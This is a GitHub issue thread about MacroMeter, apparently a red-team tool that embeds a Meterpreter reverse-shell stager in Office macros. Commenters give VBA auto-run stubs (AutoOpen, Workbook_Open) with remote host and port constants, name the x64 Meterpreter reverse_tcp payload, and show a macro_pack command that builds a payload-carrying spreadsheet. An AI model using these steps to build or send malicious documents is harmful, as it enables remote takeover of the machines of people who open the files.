MacroMeter icon indicating copy to clipboard operation
MacroMeter copied to clipboard

Not working with MS Word

Open sevagas opened this issue 7 years ago • 3 comments

HI, If you want this to work with both WORD and Excel:

Const RHOST As String = "172.16.97.1" Const RPORT As String = "443"

Sub AutoOpen() MacroMeter End Sub Sub Workbook_Open() MacroMeter End Sub

Auto_Open does not work with Word and IMO Workbook_Open is better for Excel

Also I added MacroMeter (with the corrections) to macro_pack templates (https://github.com/sevagas/macro_pack) Thx for the all your great works! Emeric

sevagas avatar Oct 13 '17 16:10 sevagas

Hi Emeric,

Thanx for the tip. I also made a vbs version of the macro which works within word, but never published it online, but nice to know that this also works using VBA. Your tool looks awesome btw. I'm going to test it.

Grtz,

Cornelis

2017-10-13 18:09 GMT+02:00 Sio [email protected]:

HI, If you want this to work with both WORD and Excel:

Const RHOST As String = "172.16.97.1" Const RPORT As String = "443" Sub AutoOpen() MacroMeter End Sub Sub Workbook_Open() MacroMeter End Sub

Auto_Open does not work with Word and IMO Workbook_Open is better for Excel

Also I added MacroMeter (with the corrections) to macro_pack templates ( https://github.com/sevagas/macro_pack) Thx for the all your great works! Emeric

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/Cn33liz/MacroMeter/issues/1, or mute the thread https://github.com/notifications/unsubscribe-auth/ADqH5ieY3PryntEEUy2UgJMP39VlWbx6ks5sr4s5gaJpZM4P4tzd .

Cn33liz avatar Oct 19 '17 09:10 Cn33liz

Ow btw, if you're running a x64 version of Office, just change the meterpreter stager to x64 ;)

PAYLOAD windows/x64/meterpreter/reverse_tcp

The code should run fine on both archs :)

2017-10-19 11:12 GMT+02:00 Cornelis de Plaa [email protected]:

Hi Emeric,

Thanx for the tip. I also made a vbs version of the macro which works within word, but never published it online, but nice to know that this also works using VBA. Your tool looks awesome btw. I'm going to test it.

Grtz,

Cornelis

2017-10-13 18:09 GMT+02:00 Sio [email protected]:

HI, If you want this to work with both WORD and Excel:

Const RHOST As String = "172.16.97.1" Const RPORT As String = "443" Sub AutoOpen() MacroMeter End Sub Sub Workbook_Open() MacroMeter End Sub

Auto_Open does not work with Word and IMO Workbook_Open is better for Excel

Also I added MacroMeter (with the corrections) to macro_pack templates ( https://github.com/sevagas/macro_pack) Thx for the all your great works! Emeric

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/Cn33liz/MacroMeter/issues/1, or mute the thread https://github.com/notifications/unsubscribe-auth/ADqH5ieY3PryntEEUy2UgJMP39VlWbx6ks5sr4s5gaJpZM4P4tzd .

Cn33liz avatar Oct 19 '17 09:10 Cn33liz

Hi, In fact with macro pack your template also work in PowerPoint documents ;) I use AutoOpen as starting point for pptm files.

Concerning the x64 Office its not working. If I just change the payload I get: [!] Failed to stage (192.168.xx.xx): No encoders encoded the buffer successfully.

Document generated with: echo "192.168.5.15" "4444" | macro_pack.exe -t METERPRETER -o -x meter.xls

For 32 bit it works fine on 32 bit office.

sevagas avatar Oct 19 '17 10:10 sevagas